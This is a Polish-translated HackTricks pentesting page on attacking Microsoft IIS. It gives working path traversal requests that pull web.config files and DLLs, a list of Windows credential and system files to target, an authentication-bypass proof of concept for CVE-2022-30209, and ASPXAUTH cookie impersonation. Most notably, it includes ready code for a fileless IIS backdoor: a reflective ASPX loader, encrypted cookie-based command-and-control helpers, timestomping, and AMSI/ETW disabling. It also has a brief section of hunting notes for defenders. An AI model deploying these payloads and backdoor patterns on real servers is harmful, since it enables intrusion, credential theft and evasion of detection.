IIS - Internet Information Services

Reading time: 15 minutes

tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Przetestuj następujące rozszerzenia plików wykonywalnych:

  • asp
  • aspx
  • config
  • php

Ujawnienie wewnętrznego adresu IP

Na dowolnym serwerze IIS, na którym otrzymujesz 302, możesz spróbować usunąć nagłówek Host i użyć HTTP/1.0 — w odpowiedzi nagłówek Location może wskazywać adres IP wewnętrzny:

nc -v domain.com 80
openssl s_client -connect domain.com:443

Odpowiedź ujawniająca wewnętrzny adres IP:

GET / HTTP/1.0

HTTP/1.1 302 Moved Temporarily
Cache-Control: no-cache
Pragma: no-cache
Location: https://192.168.5.237/owa/
Server: Microsoft-IIS/10.0
X-FEServer: NHEXCHANGE2016

Wykonywanie plików .config

Możesz przesyłać pliki .config i używać ich do wykonywania kodu. Jednym ze sposobów jest dołączenie kodu na końcu pliku wewnątrz komentarza HTML: Download example here

Więcej informacji i technik wykorzystania tej podatności here

IIS Discovery Bruteforce

Download the list that I have created:

It was created merging the contents of the following lists:

https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt
http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html
https://github.com/digination/dirbuster-ng/blob/master/wordlists/vulns/iis.txt
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/aspx.txt
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt
https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt

Use it without adding any extension, the files that need it have it already.

Path Traversal

Leaking source code

Check the full writeup in: https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html

tip

W skrócie, w folderach aplikacji znajduje się kilka plików web.config z odniesieniami do plików "assemblyIdentity" i "namespaces". Na podstawie tych informacji można ustalić gdzie znajdują się pliki wykonywalne i je pobrać.
Z pobranych Dlls można też znaleźć nowe namespaces, do których warto spróbować uzyskać dostęp i pobrać web.config, aby znaleźć kolejne namespaces i assemblyIdentity.
Również pliki connectionstrings.config i global.asax mogą zawierać interesujące informacje.

W .Net MVC applications, plik web.config odgrywa kluczową rolę, określając każdy plik binarny, na którym aplikacja polega, przez tagi XML "assemblyIdentity".

Badanie plików binarnych

Poniżej pokazano przykład uzyskania dostępu do pliku web.config:

html
GET /download_page?id=..%2f..%2fweb.config HTTP/1.1
Host: example-mvc-application.minded

To żądanie ujawnia różne ustawienia i zależności, takie jak:

  • wersja EntityFramework
  • AppSettings dla webpages, client validation i JavaScript
  • konfiguracje System.web dotyczące uwierzytelniania i runtime
  • ustawienia modułów System.webServer
  • powiązania assembly w Runtime dla wielu bibliotek, takich jak Microsoft.Owin, Newtonsoft.Json i System.Web.Mvc

Te ustawienia wskazują, że niektóre pliki, takie jak /bin/WebGrease.dll, znajdują się w katalogu /bin aplikacji.

Pliki w katalogu głównym

Pliki znalezione w katalogu głównym, takie jak /global.asax i /connectionstrings.config (który zawiera wrażliwe hasła), są niezbędne do konfiguracji i działania aplikacji.

Przestrzenie nazw i Web.Config

Aplikacje MVC definiują również dodatkowe web.config files dla określonych przestrzeni nazw, aby uniknąć powtarzających się deklaracji w każdym pliku, jak pokazano na żądaniu pobrania innego web.config:

html
GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
Host: example-mvc-application.minded

Pobieranie plików DLL

Wzmianka o niestandardowej przestrzeni nazw sugeruje istnienie pliku DLL o nazwie "WebApplication1" w katalogu /bin. Następnie pokazano żądanie pobrania WebApplication1.dll:

html
GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
Host: example-mvc-application.minded

To sugeruje obecność innych niezbędnych DLL, takich jak System.Web.Mvc.dll i System.Web.Optimization.dll, w katalogu /bin.

W scenariuszu, w którym DLL importuje przestrzeń nazw nazwaną WebApplication1.Areas.Minded, atakujący może wnioskować o istnieniu innych plików web.config w przewidywalnych ścieżkach, takich jak /area-name/Views/, które zawierają określone konfiguracje i odwołania do innych DLL w folderze /bin. Na przykład żądanie do /Minded/Views/web.config może ujawnić konfiguracje i przestrzenie nazw wskazujące na obecność innego DLL, WebApplication1.AdditionalFeatures.dll.

Typowe pliki

Źródło: here

C:\Apache\conf\httpd.conf
C:\Apache\logs\access.log
C:\Apache\logs\error.log
C:\Apache2\conf\httpd.conf
C:\Apache2\logs\access.log
C:\Apache2\logs\error.log
C:\Apache22\conf\httpd.conf
C:\Apache22\logs\access.log
C:\Apache22\logs\error.log
C:\Apache24\conf\httpd.conf
C:\Apache24\logs\access.log
C:\Apache24\logs\error.log
C:\Documents and Settings\Administrator\NTUser.dat
C:\php\php.ini
C:\php4\php.ini
C:\php5\php.ini
C:\php7\php.ini
C:\Program Files (x86)\Apache Group\Apache\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache\logs\access.log
C:\Program Files (x86)\Apache Group\Apache\logs\error.log
C:\Program Files (x86)\Apache Group\Apache2\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache2\logs\access.log
C:\Program Files (x86)\Apache Group\Apache2\logs\error.log
c:\Program Files (x86)\php\php.ini"
C:\Program Files\Apache Group\Apache\conf\httpd.conf
C:\Program Files\Apache Group\Apache\conf\logs\access.log
C:\Program Files\Apache Group\Apache\conf\logs\error.log
C:\Program Files\Apache Group\Apache2\conf\httpd.conf
C:\Program Files\Apache Group\Apache2\conf\logs\access.log
C:\Program Files\Apache Group\Apache2\conf\logs\error.log
C:\Program Files\FileZilla Server\FileZilla Server.xml
C:\Program Files\MySQL\my.cnf
C:\Program Files\MySQL\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.cnf
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.1\my.cnf
C:\Program Files\MySQL\MySQL Server 5.1\my.ini
C:\Program Files\MySQL\MySQL Server 5.5\my.cnf
C:\Program Files\MySQL\MySQL Server 5.5\my.ini
C:\Program Files\MySQL\MySQL Server 5.6\my.cnf
C:\Program Files\MySQL\MySQL Server 5.6\my.ini
C:\Program Files\MySQL\MySQL Server 5.7\my.cnf
C:\Program Files\MySQL\MySQL Server 5.7\my.ini
C:\Program Files\php\php.ini
C:\Users\Administrator\NTUser.dat
C:\Windows\debug\NetSetup.LOG
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\Panther\Unattended.xml
C:\Windows\php.ini
C:\Windows\repair\SAM
C:\Windows\repair\system
C:\Windows\System32\config\AppEvent.evt
C:\Windows\System32\config\RegBack\SAM
C:\Windows\System32\config\RegBack\system
C:\Windows\System32\config\SAM
C:\Windows\System32\config\SecEvent.evt
C:\Windows\System32\config\SysEvent.evt
C:\Windows\System32\config\SYSTEM
C:\Windows\System32\drivers\etc\hosts
C:\Windows\System32\winevt\Logs\Application.evtx
C:\Windows\System32\winevt\Logs\Security.evtx
C:\Windows\System32\winevt\Logs\System.evtx
C:\Windows\win.ini
C:\xampp\apache\conf\extra\httpd-xampp.conf
C:\xampp\apache\conf\httpd.conf
C:\xampp\apache\logs\access.log
C:\xampp\apache\logs\error.log
C:\xampp\FileZillaFTP\FileZilla Server.xml
C:\xampp\MercuryMail\MERCURY.INI
C:\xampp\mysql\bin\my.ini
C:\xampp\php\php.ini
C:\xampp\security\webdav.htpasswd
C:\xampp\sendmail\sendmail.ini
C:\xampp\tomcat\conf\server.xml

HTTPAPI 2.0 Błąd 404

If you see an error like the following one:

Oznacza to, że serwer nie otrzymał poprawnej nazwy domeny w nagłówku Host.
Aby uzyskać dostęp do strony, możesz sprawdzić wystawiony SSL Certificate i być może znajdziesz tam nazwę domeny/subdomeny. Jeśli jej tam nie ma, może być konieczne brute force VHosts, aż znajdziesz właściwą.

Decrypt encrypted configuration and ASP.NET Core Data Protection key rings

Two common patterns to protect secrets on IIS-hosted .NET apps are:

  • ASP.NET Protected Configuration (RsaProtectedConfigurationProvider) dla sekcji web.config takich jak .
  • ASP.NET Core Data Protection key ring (persisted locally) używany do ochrony sekretów aplikacji i cookies.

If you have filesystem or interactive access on the web server, co-located keys often allow decryption.

  • ASP.NET (Full Framework) – odszyfruj chronione sekcje konfiguracyjne za pomocą aspnet_regiis:
cmd
# Decrypt a section by app path (site configured in IIS)
%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\aspnet_regiis.exe -pd "connectionStrings" -app "/MyApplication"

# Or specify the physical path (-pef/-pdf write/read to a config file under a dir)
%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\aspnet_regiis.exe -pdf "connectionStrings" "C:\inetpub\wwwroot\MyApplication"
  • ASP.NET Core – szukaj Data Protection key rings przechowywanych lokalnie (pliki XML/JSON) w lokalizacjach takich jak:
  • %PROGRAMDATA%\Microsoft\ASP.NET\DataProtection-Keys
  • HKLM\SOFTWARE\Microsoft\ASP.NET\Core\DataProtection-Keys (registry)
  • App-managed folder (e.g., App_Data\keys or a Keys directory next to the app)

Mając key ring, operator uruchomiony w tożsamości aplikacji może zainstancjonować IDataProtector z tymi samymi purposes i odszyfrować przechowywane sekrety. Błędne konfiguracje, które trzymają key ring razem z plikami aplikacji, czynią deszyfrowanie offline trywialnym po kompromitacji hosta.

IIS fileless backdoors and in-memory .NET loaders (NET-STAR style)

Toolkit Phantom Taurus/NET-STAR pokazuje dojrzały wzorzec dla fileless IIS persistence i post‑exploitation całkowicie wewnątrz w3wp.exe. Kluczowe pomysły są szeroko używalne dla własnego tradecraft i dla detection/hunting.

Key building blocks

  • ASPX bootstrapper hosting an embedded payload: pojedyncza strona .aspx (np. OutlookEN.aspx) zawiera Base64‑zakodowany, opcjonalnie Gzip‑skomprymowany .NET DLL. Po żądaniu trigger rozkodowuje, dekompresuje i reflectively ładuje go do bieżącego AppDomain i wywołuje główny punkt wejścia (np. ServerRun.Run()).
  • Cookie‑scoped, encrypted C2 z multi‑stage packing: zadania/wyniki są opakowane jako Gzip → AES‑ECB/PKCS7 → Base64 i przesyłane przez pozornie legitne cookie‑heavy requests; operatorzy używali stabilnych delimiterów (np. "STAR") do chunkingu.
  • Reflective .NET execution: akceptuje dowolne managed assemblies jako Base64, ładuje przez Assembly.Load(byte[]) i przekazuje operator args dla szybkiej zmiany modułów bez zapisu na dysku.
  • Operating in precompiled ASP.NET sites: dodawanie/zarządzanie pomocniczymi shells/backdoors nawet gdy serwis jest precompiled (np. dropper dodaje dynamiczne strony/handlery lub korzysta z config handlers) – wystawiane przez komendy takie jak bypassPrecompiledApp, addshell, listshell, removeshell.
  • Timestomping/metadata forgery: udostępnij changeLastModified action i timestomp podczas deploymentu (włączając przyszłe timestamps kompilacji) by utrudnić DFIR.
  • Optional AMSI/ETW pre‑disable for loaders: second‑stage loader może wyłączyć AMSI i ETW przed wywołaniem Assembly.Load, aby zmniejszyć inspekcję in‑memory payloadów.

Minimal ASPX loader pattern

aspx
<%@ Page Language="C#" %>
<%@ Import Namespace="System" %>
<%@ Import Namespace="System.IO" %>
<%@ Import Namespace="System.IO.Compression" %>
<%@ Import Namespace="System.Reflection" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e){
// 1) Obtain payload bytes (hard‑coded blob or from request)
string b64 = /* hardcoded or Request["d"] */;
byte[] blob = Convert.FromBase64String(b64);
// optional: decrypt here if AES is used
using(var gz = new GZipStream(new MemoryStream(blob), CompressionMode.Decompress)){
using(var ms = new MemoryStream()){
gz.CopyTo(ms);
var asm = Assembly.Load(ms.ToArray());
// 2) Invoke the managed entry point (e.g., ServerRun.Run)
var t = asm.GetType("ServerRun");
var m = t.GetMethod("Run", BindingFlags.Public|BindingFlags.NonPublic|BindingFlags.Static|BindingFlags.Instance);
object inst = m.IsStatic ? null : Activator.CreateInstance(t);
m.Invoke(inst, new object[]{ HttpContext.Current });
}
}
}
</script>

Narzędzia pomocnicze do pakowania/kryptografii (Gzip + AES‑ECB + Base64)

csharp
using System.Security.Cryptography;

static byte[] AesEcb(byte[] data, byte[] key, bool encrypt){
using(var aes = Aes.Create()){
aes.Mode = CipherMode.ECB; aes.Padding = PaddingMode.PKCS7; aes.Key = key;
ICryptoTransform t = encrypt ? aes.CreateEncryptor() : aes.CreateDecryptor();
return t.TransformFinalBlock(data, 0, data.Length);
}
}

static string Pack(object obj, byte[] key){
// serialize → gzip → AES‑ECB → Base64
byte[] raw = Serialize(obj);                    // your TLV/JSON/msgpack
using var ms = new MemoryStream();
using(var gz = new GZipStream(ms, CompressionLevel.Optimal, true)) gz.Write(raw, 0, raw.Length);
byte[] enc = AesEcb(ms.ToArray(), key, true);
return Convert.ToBase64String(enc);
}

static T Unpack<T>(string b64, byte[] key){
byte[] enc = Convert.FromBase64String(b64);
byte[] cmp = AesEcb(enc, key, false);
using var gz = new GZipStream(new MemoryStream(cmp), CompressionMode.Decompress);
using var outMs = new MemoryStream(); gz.CopyTo(outMs);
return Deserialize<T>(outMs.ToArray());
}

Cookie/session flow i powierzchnia poleceń

  • Session bootstrap i tasking są przenoszone za pomocą cookies, aby wtapiać się w normalną aktywność webową.
  • Zaobserwowane w środowisku polecenia obejmowały: fileExist, listDir, createDir, renameDir, fileRead, deleteFile, createFile, changeLastModified; addshell, bypassPrecompiledApp, listShell, removeShell; executeSQLQuery, ExecuteNonQuery; oraz dynamiczne prymitywy wykonawcze code_self, code_pid, run_code do wykonywania .NET w pamięci.

Narzędzie Timestomping

csharp
File.SetCreationTime(path, ts);
File.SetLastWriteTime(path, ts);
File.SetLastAccessTime(path, ts);

Inline wyłączenie AMSI/ETW przed Assembly.Load (loader variant)

csharp
// Patch amsi!AmsiScanBuffer to return E_INVALIDARG
// and ntdll!EtwEventWrite to a stub; then load operator assembly
DisableAmsi();
DisableEtw();
Assembly.Load(payloadBytes).EntryPoint.Invoke(null, new object[]{ new string[]{ /* args */ } });

Zobacz AMSI/ETW bypass techniques w: windows-hardening/av-bypass.md

Hunting notes (defenders)

  • Pojedyncza, dziwna strona ASPX z bardzo długimi Base64/Gzip blobami; cookie‑heavy posts.
  • Unbacked managed modules wewnątrz w3wp.exe; ciągi takie jak Encrypt/Decrypt (ECB), Compress/Decompress, GetContext, Run.
  • Powtarzające się delimitery takie jak "STAR" w ruchu; niezgodne lub nawet przyszłe znaczniki czasowe w ASPX/assemblies.

Stare podatności IIS warte sprawdzenia

Microsoft IIS tilde character “~” Vulnerability/Feature – Short File/Folder Name Disclosure

Możesz spróbować enumerate folders and files w każdym odkrytym folderze (nawet jeśli wymaga Basic Authentication) używając tej techniki.
Główne ograniczenie tej techniki, jeśli serwer jest podatny, to że może znaleźć tylko pierwsze 6 liter nazwy każdego pliku/folderu i pierwsze 3 litery rozszerzenia plików.

Możesz użyć https://github.com/irsdl/IIS-ShortName-Scanner aby przetestować tę podatność: java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/

Original research: https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf

Możesz też użyć metasploit: use scanner/http/iis_shortname_scanner

Dobrym pomysłem, żeby znaleźć końcową nazwę odkrytych plików, jest zapytanie LLMs o opcje tak jak to robi skrypt https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py

Basic Authentication bypass

Można obejść Basic Authentication (IIS 7.5) próbując uzyskać dostęp do: /admin:$i30:$INDEX_ALLOCATION/admin.php lub /admin::$INDEX_ALLOCATION/admin.php

Można spróbować połączyćpodatność z poprzednią, aby znaleźć nowe foldery i obejść uwierzytelnianie.

ASP.NET Trace.AXD enabled debugging

ASP.NET zawiera tryb debugowania, a jego plik nazywa się trace.axd.

Zawiera bardzo szczegółowy log wszystkich żądań wykonanych do aplikacji w danym okresie.

Informacje te obejmują zdalne adresy IP klientów, session ID, wszystkie request i response cookies, ścieżki fizyczne, informacje o source code oraz potencjalnie nawet nazwy użytkowników i hasła.

https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/

Screenshot 2021-03-30 at 13 19 11

ASPXAUTH używa następujących informacji:

  • validationKey (string): klucz zakodowany w hex używany do walidacji podpisu.
  • decryptionMethod (string): (domyślnie “AES”).
  • decryptionIV (string): wektor inicjalizacyjny zakodowany w hex (domyślnie wektor zer).
  • decryptionKey (string): klucz zakodowany w hex używany do deszyfrowania.

Jednak niektórzy używają domyślnych wartości tych parametrów i stosują jako cookie adres e‑mail użytkownika. W związku z tym, jeśli znajdziesz witrynę używającą tej samej platformy, która korzysta z ASPXAUTH cookie i utworzysz użytkownika z adresem e‑mail użytkownika, którego chcesz podszyć, na serwerze będącym celem, możesz być w stanie użyć cookie z drugiego serwera na pierwszym i podszyć się pod użytkownika.
Ten atak zadziałał w tym writeup.

IIS Authentication Bypass with cached passwords (CVE-2022-30209)

Full report here: Błąd w kodzie nieprawidłowo nie sprawdzał podanego przez użytkownika hasła, więc atakujący, którego hash hasła trafia na klucz który jest już w cache, będzie w stanie zalogować się jako ten użytkownik.

python
# script for sanity check
> type test.py
def HashString(password):
j = 0
for c in map(ord, password):
j = c + (101*j)&0xffffffff
return j

assert HashString('test-for-CVE-2022-30209-auth-bypass') == HashString('ZeeiJT')

# before the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 401 Unauthorized

# after the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 200 OK

Referencje

tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks